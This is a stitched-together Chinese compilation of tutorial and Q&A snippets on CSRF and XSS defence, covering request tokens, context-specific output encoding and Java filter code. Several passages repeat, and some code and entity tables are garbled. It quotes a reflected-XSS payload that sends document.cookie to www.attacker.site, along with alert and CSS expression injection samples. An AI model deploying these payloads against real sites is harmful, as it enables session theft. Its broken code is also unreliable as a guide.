任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 <img src="./create_post.php" /> 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。

跨站脚本攻击（也称为XSS）指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时，通常会点击其中的链接。攻击者通过在链接中插入恶意代码，就能够盗取用户信息。攻击者通常会用十六进制（或其他编码方式）将链接编码，以免用户怀疑它的合法性。网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面，而这个页面看起来就像是那个网站应当生成的合法页面一样。许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子，那么用户乙在浏览这篇帖子时，恶意脚本就会执行，盗取用户乙的session信息。有关攻击方法的详细情况将在下面阐述。

http://www.baidu.com/s?cl=3&wd=xss

常见的网络攻击技术有：1，跨站脚本攻击。跨站脚本攻击可以将代码注入到用户浏览的网页上，这种代码包括HTML和JavaScript。2，跨站请求伪造攻击。跨站请求伪造攻击是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。3，SQL注入攻击。这种攻击的原理是服务器上的数据库运行非法的SQL语句，主要通过拼接来完成。更多关于常见的网络攻击技术有哪些，进入：https://m.abcgonglue.com/ask/727a011615832671.html?zd查看更多内容

不可信数据不可信数据通常是来自http请求的数据，以url参数、表单字段、标头或者cookie的形式。不过从安全角度来看，来自数据库、网络服务器和其他来源的数据往往也是不可信的，也就是说，这些数据可能没有完全通过验证。应该始终对不可信数据保持警惕，将其视为包含攻击，这意味着在发送不可信数据之前，应该采取措施确定没有攻击再发送。由于应用程序之间的关联不断深化，下游直译程序执行的攻击可以迅速蔓延。传统上来看，输入验证是处理不可信数据的最好办法，然而，输入验证法并不是注入式攻击的最佳解决方案。首先，输入验证通常是在获取数据时开始执行的，而此时并不知道目的地所在。这也意味着我们并不知道在目标直译程序中哪些字符是重要的。其次，可能更加重要的是，应用程序必须允许潜在危害的字符进入，例如，是不是仅仅因为sql认为mr.o"malley名字包含特殊字符他就不能在数据库中注册呢?虽然输入验证很重要，但这始终不是解决注入攻击的完整解决方案，最好将输入攻击作为纵深防御措施，而将escaping作为首要防线。解码(又称为outputencoding)“escaping”解码技术主要用于确保字符作为数据处理，而不是作为与直译程序的解析器相关的字符。有很多不同类型的解码，有时候也被成为输出“解码”。有些技术定义特殊的“escape”字符，而其他技术则包含涉及若干字符的更复杂的语法。不要将输出解码与unicode字符编码的概念弄混淆了，后者涉及映射unicode字符到位序列。这种级别的编码通常是自动解码，并不能缓解攻击。但是，如果没有正确理解服务器和浏览器间的目标字符集，有可能导致与非目标字符产生通信，从而招致跨站xss脚本攻击。这也正是为所有通信指定unicode字符编码(字符集)(如utf-8等)的重要所在。escaping是重要的工具，能够确保不可信数据不能被用来传递注入攻击。这样做并不会对解码数据造成影响，仍将正确呈现在浏览器中，解码只能阻止运行中发生的攻击。注入攻击理论注入攻击是这样一种攻击方式，它主要涉及破坏数据结构并通过使用特殊字符(直译程序正在使用的重要数据)转换为代码结构。xss是一种注入攻击形式，浏览器作为直译程序，攻击被隐藏在html文件中。html一直都是代码和数据最差的mashup，因为html有很多可能的地方放置代码以及很多不同的有效编码。html是很复杂的，因为它不仅是层次结构的，而且还包含很多不同的解析器(xml、html、javascript、vbscript、css、url等)。要想真正明白注入攻击与xss的关系，必须认真考虑htmldom的层次结构中的注入攻击。在html文件的某个位置(即开发者允许不可信数据列入dom的位置)插入数据，主要有两种注入代码的方式：injectingup，上行注入最常见的方式是关闭现有的context并开始一个新的代码context，例如，当你关闭html属性时使用">并开始新的可以终止脚本块，即使该脚本块被注入脚本内方法调用内的引用字符，这是因为html解析器在javascript解析器之前运行。injectingdown，下行注入另一种不太常见的执行xss注入的方式就是，在不关闭当前context的情况下，引入一个subcontext。例如，将改为，并不需要躲开html属性context，相反只需要引入允许在src属性内写脚本的context即可。另一个例子就是css属性中的expression()功能，虽然你可能无法躲开引用css属性来进行上行注入，你可以采用xss:expression(document.write(document.cookie))且无需离开现有context。同样也有可能直接在现有context内进行注入，例如，可以采用不可信的输入并把它直接放入javascriptcontext。这种方式比你想象的更加常用，但是根本不可能利用escaping(或者任何其他方式)保障安全。从本质上讲，如果这样做，你的应用程序只会成为攻击者将恶意代码植入浏览器的渠道。本文介绍的规则旨在防止上行和下行xss注入攻击。防止上行注入攻击，你必须避免那些允许你关闭现有context开始新context的字符;而防止攻击跳跃dom层次级别，你必须避免所有可能关闭context的字符;下行注入攻击，你必须避免任何可以用来在现有context内引入新的sub-context的字符。积极xss防御模式本文把html页面当作一个模板，模板上有很多插槽，开发者允许在这些插槽处放置不可信数据。在其他地方放置不可信数据是不允许的，这是“白名单”模式，否认所有不允许的事情。根据浏览器解析html的方式的不同，每种不同类型的插槽都有不同的安全规则。当你在这些插槽处放置不可信数据时，必须采取某些措施以确保数据不会“逃离”相应插槽并闯入允许代码执行的context。从某种意义上说，这种方法将html文档当作参数化的数据库查询，数据被保存在具体文职并与escaping代码context相分离。本文列出了最常见的插槽位置和安全放置数据的规则，基于各种不同的要求、已知的xss载体和对流行浏览器的大量手动测试，我们保证本文提出的规则都是安全的。定义好插槽位置，开发者们在放置任何数据前，都应该仔细分析以确保安全性。浏览器解析是非常棘手的，因为很多看起来无关紧要的字符可能起着重要作用。为什么不能对所有不可信数据进行html实体编码?可以对放入html文档正文的不可行数据进行html实体编码，如标签内。也可以对进入属性的不可行数据进行实体编码，尤其是当属性中使用引用符号时。但是html实体编码并不总是有效，例如将不可信数据放入directlyinascriptinsideanhtmlcommentinanattributename<...neverputuntrusteddatahere...href="/test"/>inatagname更重要的是，不要接受来自不可信任来源的javascript代码然后运行，例如，名为“callback”的参数就包含javascript代码段，没有解码能够解决。no.2–在向html元素内容插入不可信数据前对html解码这条规则适用于当你想把不可信数据直接插入html正文某处时，这包括内部正常标签(div、p、b、td等)。大多数网站框架都有html解码的方法且能够躲开下列字符。但是，这对于其他htmlcontext是远远不够的，你需要部署其他规则。...escapeuntrusteddatabeforeputtinghere......escapeuntrusteddatabeforeputtinghere...以及其他的html常用元素使用html实体解码躲开下列字符以避免切换到任何执行内容，如脚本、样式或者事件处理程序。在这种规格中推荐使用十六进制实体，除了xml中5个重要字符(&、<、>、"、")外，还加入了斜线符，以帮助结束html实体。&-->&<--><>-->>"-->""-->""isnotrecommended/-->/forwardslashisincludedasithelpsendanhtmlentityesapi参考实施stringsafe=esapi.encoder().encodeforhtml(request.getparameter("input"));no.3–在向html常见属性插入不可信数据前进行属性解码这条规则是将不可信数据转化为典型属性值(如宽度、名称、值等)，这不能用于复杂属性(如href、src、style或者其他事件处理程序)。这是及其重要的规则，事件处理器属性(为htmljavascriptdatavalues)必须遵守该规则。contentinsideunquotedattributecontentinsidesinglequotedattribute除了字母数字字符外，使用小于256的ascii值hh格式(或者命名的实体)对所有数据进行解码以防止切换属性。这条规则应用广泛的原因是因为开发者常常让属性保持未引用，正确引用的属性只能使用相应的引用进行解码。未引用属性可以被很多字符破坏，包括[space]%*+,-/;<=>^和|。esapi参考实施stringsafe=esapi.encoder().encodeforhtmlattribute(request.getparameter("input"));no.4–在向htmljavascriptdatavalues插入不可信数据前，进行javascript解码这条规则涉及在不同html元素上制定的javascript事件处理器。向这些事件处理器放置不可信数据的唯一安全位置就是“datavalue”。在这些小代码块放置不可信数据是相当危险的，因为很容易切换到执行环境，因此请小心使用。insideaquotedstringonesideofanexpressioninsideunquotedeventhandlerinsidequotedeventhandlerinsidequotedeventhandler除了字母数字字符外，使用小于256的ascii值xhh格式对所有数据进行解码以防止将数据值切换至脚本内容或者另一属性。不要使用任何解码捷径(如")因为引用字符可能被先运行的html属性解析器相匹配。如果事件处理器被引用，则需要相应的引用来解码。这条规则的广泛应用是因为开发者经常让事件处理器保持未引用。正确引用属性只能使用相应的引用来解码，未引用属性可以使用任何字符(包括[space]%*+,-/;<=>^和|)解码。同时，由于html解析器比javascript解析器先运行，关闭标签能够关闭脚本块，即使脚本块位于引用字符串中。esapi参考实施stringsafe=esapi.encoder().encodeforjavascript(request.getparameter("input"));no.5–在向html样式属性值插入不可信数居前，进行css解码当你想将不可信数据放入样式表或者样式标签时，可以用此规则。css是很强大的，可以用于许多攻击。因此，只能在属性值中使用不可信数据而不能在其他样式数据中使用。不能将不可信数据放入复杂的属性(如url,、behavior、和custom(-moz-binding))。同样，不能将不可信数据放入允许javascript的ie的expression属性值。propertyvaluetextpropertyvalue除了字母数字字符外，使用小于256的ascii值hh格式对所有数据进行解码。不要使用任何解码捷径(如")因为引用字符可能被先运行的html属性解析器相匹配，防止将数据值切换至脚本内容或者另一属性。同时防止切换至expression或者其他允许脚本的属性值。如果属性被引用，将需要相应的引用进行解码，所有的属性都应该被引用。未引用属性可以使用任何字符(包括[space]%*+,-/;<=>^和|)解码。同时，由于html解析器比javascript解析器先运行，标签能够关闭脚本块，即使脚本块位于引用字符串中。esapi参考实施stringsafe=esapi.encoder().encodeforcss(request.getparameter("input"));no.6-在向htmlurl属性插入不可信数据前，进行url解码当你想将不可信数据放入链接到其他位置的link中时需要运用此规则。这包括href和src属性。还有很多其他位置属性，不过我们建议不要在这些属性中使用不可信数据。需要注意的是在javascript中使用不可信数据的问题，不过可以使用上述的htmljavascriptdatavalue规则。linkanormallinkanimagesourceascriptsource除了字母数字字符外，使用小于256的ascii值%hh解码格式对所有数据进行解码。在数据中保护不可信数据：url不能够被允许，因为没有好方法来通过解码来切换url以避免攻击。所有的属性都应该被引用。未引用属性可以使用任何字符(包括[space]%*+,-/;<=>^和|)解码。请注意实体编码在这方面是没用的。

XSS攻击通常是指黑客通过"HTML注入"篡改了网页，插入了恶意的脚本，从而在用户浏览网页时，控制用户浏览器的一种攻击。

防止跨站点脚本攻击的解决方法：1.输入过滤对每一个用户的输入或者请求首部，都要进行过滤。这需要程序员有良好的安全素养，而且需要覆盖到所有的输入源。而且还不能够阻止其他的一些问题，如错误页等。final String filterPattern="[<>{}\[\];\&]";String inputStr = s.replaceAll(filterPattern," ");2.输出过滤public static String encode(String data){final StringBuffer buf = new StringBuffer();final char[] chars = data.toCharArray();for (int i = 0; i < chars.length; i++){buf.append("" + (int) chars[i]);}return buf.toString();}public static String decodeHex(final String data,final String charEncoding){if (data == null){return null; }byte[] inBytes = null; try{inBytes = data.getBytes(charEncoding);}catch (UnsupportedEncodingException e){//use default charsetinBytes = data.getBytes();}byte[] outBytes = new byte[inBytes.length];int b1;int b2;int j=0;for (int i = 0; i < inBytes.length; i++){if (inBytes[i] == "%"){b1 = Character.digit((char) inBytes[++i], 16);b2 = Character.digit((char) inBytes[++i], 16);outBytes[j++] = (byte) (((b1 & 0xf) << 4) +(b2 & 0xf));}else{outBytes[j++] = inBytes[i];}}String encodedStr = null;try{encodedStr = new String(outBytes, 0, j, charEncoding);}catch (UnsupportedEncodingException e){encodedStr = new String(outBytes, 0, j);}return encodedStr;}<!-- Maps the 404 Not Found response codeto the error page /errPage404 --><error-page><error-code>404</error-code><location>/errPage404</location></error-page><!-- Maps any thrown ServletExceptionsto the error page /errPageServ --><error-page><exception-type>javax.servlet.ServletException</exception-type><location>/errPageServ</location></error-page><!-- Maps any other thrown exceptionsto a generic error page /errPageGeneric --><error-page><exception-type>java.lang.Throwable</exception-type><location>/errPageGeneric</location></error-page>任何的非servlet例外都被/errPageGeneric路径捕捉，这样就可以处理。Throwable throwable = (Throwable)request.getAttribute("javax.servlet.error.exception");String status_code = ((Integer)request.getAttribute("javax.servlet.error.status_code")).toString( );3.安装三方的应用防火墙，可以拦截css攻击。附：跨站脚本不像其他攻击只包含两个部分：攻击者和web站点。跨站脚本包含三个部分：攻击者，客户和web站点。跨站脚本攻击的目的是窃取客户的cookies，或者其他可以证明用户身份的敏感信息。攻击一个get请求GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0Host:www.vulnerable.site会产生如下的结果<HTML><Title>Welcome!</Title>Hi Joe Hacker<BR>Welcome to our system...</HTML>但是如果请求被篡改GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0Host: www.vulnerable.site就会得到如下的响应<HTML><Title>Welcome!</Title>Hi <script>alert(document.cookie)</script><BR>Welcome to our system...</HTML>这样在客户端会有一段非法的脚本执行，这不具有破坏作用，但是如下的脚本就很危险了。http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>响应如下：<HTML><Title>Welcome!</Title>Hi<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script><BR>Welcome to our system...</HTML>浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站，这样攻击者就得到了客户的cookie。

摘要：XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。接下来为大家介绍XSS攻击的类型及防御方式有哪些。一、什么是xss攻击XSS即（CrossSiteScripting）中文名称为：跨站脚本攻击。XSS的重点不在于跨站点，而在于脚本的执行。那么XSS的原理是：恶意攻击者在web页面中会插入一些恶意的script代码。当用户浏览该页面的时候，那么嵌入到web页面中script代码会执行，因此会达到恶意攻击用户的目的。二、xss攻击的种类及防御方式XSS攻击最主要有如下分类：反射型、存储型、及DOM-based型。反射性和DOM-baseed型可以归类为非持久性XSS攻击。存储型可以归类为持久性XSS攻击。1、反射性XSS反射性XSS的原理是：反射性xss一般指攻击者通过特定的方式来诱惑受害者去访问一个包含恶意代码的URL。当受害者点击恶意链接url的时候，恶意代码会直接在受害者的主机上的浏览器执行。常见的反射性XSS有哪些？常见的是恶意链接。2、存储性XSS存储型XSS的原理是：主要是将恶意代码上传或存储到服务器中，下次只要受害者浏览包含此恶意代码的页面就会执行恶意代码。如何防范？后端需要对提交的数据进行过滤。前端也可以做一下处理方式，比如对script标签，将特殊字符替换成HTML编码这些等。3、DOM-based型XSSDOMXSS是基于文档对象模型的XSS。一般有如下DOM操作：使用document.write直接输出数据。使用innerHTML直接输出数据。使用location、location.href、location.replace、iframe.src、document.referer、window.name等这些。4、SQL注入SQL注入是通过客户端的输入把SQL命令注入到一个应用的数据库中，从而执行恶意的SQL语句。

【答案】：D跨站脚本攻击（XSS）将恶意代码嵌入到用户浏览的WEB网页中，从而达到恶意的目的。

你好~XSS漏洞产生的原因：跨站点脚本的主要原因是程序猿对用户的信任。开发人员轻松地认为用户永远不会试图执行什么出格的事情,所以他们创建应用程序,却没有使用任何额外的代码来过滤用户输入以阻止任何恶意活动。另一个原因是,这种攻击有许多变体，用制造出一种行之有效的XSS过滤器是一件比较困难的事情。但是这只是相对的，对用户输入数据的”编码”和”过滤”在任何时候都是很重要的，我们必须采取一些针对性的手段对其进行防御。如何创造一个良好的XSS过滤器来阻止大多数XSS攻击代码1 .需要重点”编码”和”过滤”的对象The URLHTTP referrer objectsGET parameters from a formPOST parameters from a formWindow.locationDocument.referrerdocument.locationdocument.URLdocument.URLUnencodedcookie dataheaders datadatabase data防御XSS有一个原则:以当前的应用系统为中心，所有的进入应用系统的数据都看成是输入数据(包括从FORM表单或者从数据库获取到的数据)，所有从当前应用系统流出的数据都看作是输出(包括输出到用户浏览器或向数据库写入数据)对输入的数据进行”过滤”，对输出数据进行”编码”。这里的”编码”也要注意，必须针对数据具体的上下文语境进行针对性的编码。例如数据是输出到HTML中的那就要进行HtmlEncode，如果数据是输出到javascript代码中进行拼接的，那就要进行javascriptEncode。如果不搞清楚数据具体输出的语境，就有可能因为HtmlParser()和javascriptParser()两种解析引擎的执行先后问题导致看似严密的”编码”形同虚设。

跨站脚本攻击(CrossSiteScripting)，为不和层叠样式表(CascadingStyleSheets,CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(sameoriginpolicy)。这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新型的“缓冲区溢出攻击“，而JavaScript是新型的“ShellCode”。

防止跨站点脚本攻击的解决方法：1.输入过滤对每一个用户的输入或者请求首部，都要进行过滤。这需要程序员有良好的安全素养，而且需要覆盖到所有的输入源。而且还不能够阻止其他的一些问题，如错误页等。final String filterPattern="[<>{}\[\];\&]";String inputStr = s.replaceAll(filterPattern," ");2.输出过滤public static String encode(String data){final StringBuffer buf = new StringBuffer();final char[] chars = data.toCharArray();for (int i = 0; i < chars.length; i++){buf.append("" + (int) chars[i]);}return buf.toString();}public static String decodeHex(final String data,final String charEncoding){if (data == null){return null; }byte[] inBytes = null; try{inBytes = data.getBytes(charEncoding);}catch (UnsupportedEncodingException e){//use default charsetinBytes = data.getBytes();}byte[] outBytes = new byte[inBytes.length];int b1;int b2;int j=0;for (int i = 0; i < inBytes.length; i++){if (inBytes[i] == "%"){b1 = Character.digit((char) inBytes[++i], 16);b2 = Character.digit((char) inBytes[++i], 16);outBytes[j++] = (byte) (((b1 & 0xf) << 4) +(b2 & 0xf));}else{outBytes[j++] = inBytes[i];}}String encodedStr = null;try{encodedStr = new String(outBytes, 0, j, charEncoding);}catch (UnsupportedEncodingException e){encodedStr = new String(outBytes, 0, j);}return encodedStr;}<!-- Maps the 404 Not Found response codeto the error page /errPage404 --><error-page><error-code>404</error-code><location>/errPage404</location></error-page><!-- Maps any thrown ServletExceptionsto the error page /errPageServ --><error-page><exception-type>javax.servlet.ServletException</exception-type><location>/errPageServ</location></error-page><!-- Maps any other thrown exceptionsto a generic error page /errPageGeneric --><error-page><exception-type>java.lang.Throwable</exception-type><location>/errPageGeneric</location></error-page>任何的非servlet例外都被/errPageGeneric路径捕捉，这样就可以处理。Throwable throwable = (Throwable)request.getAttribute("javax.servlet.error.exception");String status_code = ((Integer)request.getAttribute("javax.servlet.error.status_code")).toString( );3.安装三方的应用防火墙，可以拦截css攻击。附：跨站脚本不像其他攻击只包含两个部分：攻击者和web站点。跨站脚本包含三个部分：攻击者，客户和web站点。跨站脚本攻击的目的是窃取客户的cookies，或者其他可以证明用户身份的敏感信息。攻击一个get请求GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0Host:www.vulnerable.site会产生如下的结果<HTML><Title>Welcome!</Title>Hi Joe Hacker<BR>Welcome to our system...</HTML>但是如果请求被篡改GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0Host: www.vulnerable.site就会得到如下的响应<HTML><Title>Welcome!</Title>Hi <script>alert(document.cookie)</script><BR>Welcome to our system...</HTML>这样在客户端会有一段非法的脚本执行，这不具有破坏作用，但是如下的脚本就很危险了。http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>响应如下：<HTML><Title>Welcome!</Title>Hi<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script><BR>Welcome to our system...</HTML>浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站，这样攻击者就得到了客户的cookie。

XSS攻击又称为跨站脚本，XSS的重点不在于跨站点，而是在于脚本的执行。XSS是一种经常出现在Web应用程序中的计算机安全漏洞，是由于Web应用程序对用户的输入过滤不足而产生的，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

【答案】：DXSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点，进而添加一些代码，嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。

【答案】：D跨站脚本攻击（XSS）将恶意代码嵌入到用户浏览WEB网页中，从而达到恶意目。

防止跨站点脚本攻击的解决方法： 1.输入过滤 对每一个用户的输入或者请求首部，都要进行过滤。这需要程序员有良好的安全素养，而且需要覆盖到所有的输入源。而且还不能够阻止其他的一些问题，如错误页等。 final String filterPattern="[<>{}\[\];\&]"; String inputStr = s.replaceAll(filterPattern," "); 2.输出过滤 public static String encode(String data) { final StringBuffer buf = new StringBuffer(); final char[] chars = data.toCharArray(); for (int i = 0; i < chars.length; i++) { buf.append("" + (int) chars[i]); } return buf.toString(); } public static String decodeHex(final String data, final String charEncoding) { if (data == null) { return null; } byte[] inBytes = null; try { inBytes = data.getBytes(charEncoding); } catch (UnsupportedEncodingException e) { //use default charset inBytes = data.getBytes(); } byte[] outBytes = new byte[inBytes.length]; int b1; int b2; int j=0; for (int i = 0; i < inBytes.length; i++) { if (inBytes[i] == "%") { b1 = Character.digit((char) inBytes[++i], 16); b2 = Character.digit((char) inBytes[++i], 16); outBytes[j++] = (byte) (((b1 & 0xf) << 4) + (b2 & 0xf)); } else { outBytes[j++] = inBytes[i]; } } String encodedStr = null; try { encodedStr = new String(outBytes, 0, j, charEncoding); } catch (UnsupportedEncodingException e) { encodedStr = new String(outBytes, 0, j); } return encodedStr; } <!-- Maps the 404 Not Found response code to the error page /errPage404 --> <error-page> <error-code>404</error-code> <location>/errPage404</location> </error-page> <!-- Maps any thrown ServletExceptions to the error page /errPageServ --> <error-page> <exception-type>javax.servlet.ServletException</exception-type> <location>/errPageServ</location> </error-page> <!-- Maps any other thrown exceptions to a generic error page /errPageGeneric --> <error-page> <exception-type>java.lang.Throwable</exception-type> <location>/errPageGeneric</location> </error-page> 任何的非servlet例外都被/errPageGeneric路径捕捉，这样就可以处理。 Throwable throwable = (Throwable) request.getAttribute("javax.servlet.error.exception"); String status_code = ((Integer) request.getAttribute("javax.servlet.error.status_code")).toString( ); 3.安装三方的应用防火墙，可以拦截css攻击。 附： 跨站脚本不像其他攻击只包含两个部分：攻击者和web站点。 跨站脚本包含三个部分：攻击者，客户和web站点。 跨站脚本攻击的目的是窃取客户的cookies，或者其他可以证明用户身份的敏感信息。 攻击 一个get请求 GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 Host: www.vulnerable.site 会产生如下的结果 <HTML> <Title>Welcome!</Title> Hi Joe Hacker <BR> Welcome to our system ... </HTML> 但是如果请求被篡改 GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 Host: www.vulnerable.site 就会得到如下的响应 <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script> <BR> Welcome to our system ... </HTML> 这样在客户端会有一段非法的脚本执行，这不具有破坏作用，但是如下的脚本就很危险了。 http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script> 响应如下： <HTML> <Title>Welcome!</Title> Hi <script>window.open(“www.attacker.site/collect.cgi?cookie=”+document.cookie)</script> <BR> Welcome to our system ... </HTML> 浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站，这样攻击者就得到了客户的cookie。

不可信数据 不可信数据通常是来自HTTP请求的数据，以URL参数、表单字段、标头或者Cookie的形式。不过从安全角度来看，来自数据库、网络服务器和其他来源的数据往往也是不可信的，也就是说，这些数据可能没有完全通过验证。 应该始终对不可信数据保持警惕，将其视为包含攻击，这意味着在发送不可信数据之前，应该采取措施确定没有攻击再发送。由于应用程序之间的关联不断深化，下游直译程序执行的攻击可以迅速蔓延。 传统上来看，输入验证是处理不可信数据的最好办法，然而，输入验证法并不是注入式攻击的最佳解决方案。首先，输入验证通常是在获取数据时开始执行的，而此时并不知道目的地所在。这也意味着我们并不知道在目标直译程序中哪些字符是重要的。其次，可能更加重要的是，应用程序必须允许潜在危害的字符进入，例如，是不是仅仅因为SQL认为Mr. O"Malley名字包含特殊字符他就不能在数据库中注册呢? 虽然输入验证很重要，但这始终不是解决注入攻击的完整解决方案，最好将输入攻击作为纵深防御措施，而将escaping作为首要防线。 解码(又称为Output Encoding) “Escaping”解码技术主要用于确保字符作为数据处理，而不是作为与直译程序的解析器相关的字符。有很多不同类型的解码，有时候也被成为输出“解码”。有些技术定义特殊的“escape”字符，而其他技术则包含涉及若干字符的更复杂的语法。 不要将输出解码与Unicode字符编码的概念弄混淆了，后者涉及映射Unicode字符到位序列。这种级别的编码通常是自动解码，并不能缓解攻击。但是，如果没有正确理解服务器和浏览器间的目标字符集，有可能导致与非目标字符产生通信，从而招致跨站XSS脚本攻击。这也正是为所有通信指定Unicode字符编码(字符集)(如UTF-8等)的重要所在。 Escaping是重要的工具，能够确保不可信数据不能被用来传递注入攻击。这样做并不会对解码数据造成影响，仍将正确呈现在浏览器中，解码只能阻止运行中发生的攻击。 注入攻击理论 注入攻击是这样一种攻击方式，它主要涉及破坏数据结构并通过使用特殊字符(直译程序正在使用的重要数据)转换为代码结构。XSS是一种注入攻击形式，浏览器作为直译程序，攻击被隐藏在HTML文件中。HTML一直都是代码和数据最差的mashup，因为HTML有很多可能的地方放置代码以及很多不同的有效编码。HTML是很复杂的，因为它不仅是层次结构的，而且还包含很多不同的解析器(XML、HTML、JavaScript、VBScript、CSS、URL等)。 要想真正明白注入攻击与XSS的关系，必须认真考虑HTML DOM的层次结构中的注入攻击。在HTML文件的某个位置(即开发者允许不可信数据列入DOM的位置)插入数据，主要有两种注入代码的方式： Injecting UP，上行注入 最常见的方式是关闭现有的context并开始一个新的代码context，例如，当你关闭HTML属性时使用">并开始新的 可以终止脚本块，即使该脚本块被注入脚本内方法调用内的引用字符，这是因为HTML解析器在JavaScript解析器之前运行。 Injecting DOWN，下行注入 另一种不太常见的执行XSS注入的方式就是，在不关闭当前context的情况下，引入一个subcontext。例如，将改为 ，并不需要躲开HTML属性context，相反只需要引入允许在src属性内写脚本的context即可。另一个例子就是CSS属性中的expression()功能，虽然你可能无法躲开引用CSS属性来进行上行注入，你可以采用x ss:expression(document.write(document.cookie))且无需离开现有context。 同样也有可能直接在现有context内进行注入，例如，可以采用不可信的输入并把它直接放入JavaScript context。这种方式比你想象的更加常用，但是根本不可能利用escaping(或者任何其他方式)保障安全。从本质上讲，如果这样做，你的应用程序只会成为攻击者将恶意代码植入浏览器的渠道。 本文介绍的规则旨在防止上行和下行XSS注入攻击。防止上行注入攻击，你必须避免那些允许你关闭现有context开始新context的字符;而防止攻击跳跃DOM层次级别，你必须避免所有可能关闭context的字符;下行注入攻击，你必须避免任何可以用来在现有context内引入新的sub-context的字符。 积极XSS防御模式 本文把HTML页面当作一个模板，模板上有很多插槽，开发者允许在这些插槽处放置不可信数据。在其他地方放置不可信数据是不允许的，这是“白名单”模式，否认所有不允许的事情。 根据浏览器解析HTML的方式的不同，每种不同类型的插槽都有不同的安全规则。当你在这些插槽处放置不可信数据时，必须采取某些措施以确保数据不会“逃离”相应插槽并闯入允许代码执行的context。从某种意义上说，这种方法将HTML文档当作参数化的数据库查询，数据被保存在具体文职并与escaping代码context相分离。 本文列出了最常见的插槽位置和安全放置数据的规则，基于各种不同的要求、已知的XSS载体和对流行浏览器的大量手动测试，我们保证本文提出的规则都是安全的。 定义好插槽位置，开发者们在放置任何数据前，都应该仔细分析以确保安全性。浏览器解析是非常棘手的，因为很多看起来无关紧要的字符可能起着重要作用。 为什么不能对所有不可信数据进行HTML实体编码? 可以对放入HTML文档正文的不可行数据进行HTML实体编码，如 标签内。也可以对进入属性的不可行数据进行实体编码，尤其是当属性中使用引用符号时。但是HTML实体编码并不总是有效，例如将不可信数据放入 directlyinascript insideanHTMLcomment inanattributename <...NEVERPUTUNTRUSTEDDATAHERE...href="/test"/> inatagname 更重要的是，不要接受来自不可信任来源的JavaScript代码然后运行，例如，名为“callback”的参数就包含JavaScript代码段，没有解码能够解决。 No.2 – 在向HTML元素内容插入不可信数据前对HTML解码 这条规则适用于当你想把不可信数据直接插入HTML正文某处时，这包括内部正常标签(div、p、b、td等)。大多数网站框架都有HTML解码的方法且能够躲开下列字符。但是，这对于其他HTML context是远远不够的，你需要部署其他规则。 ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... 以及其他的HTML常用元素 使用HTML实体解码躲开下列字符以避免切换到任何执行内容，如脚本、样式或者事件处理程序。在这种规格中推荐使用十六进制实体，除了XML中5个重要字符(&、<、 >、 "、 ")外，还加入了斜线符，以帮助结束HTML实体。 &-->& <-->< >-->> "-->" "-->""isnotrecommended /-->/forwardslashisincludedasithelpsendanHTMLentity ESAPI参考实施 Stringsafe=ESAPI.encoder().encodeForHTML(request.getParameter("input")); No.3 – 在向HTML常见属性插入不可信数据前进行属性解码 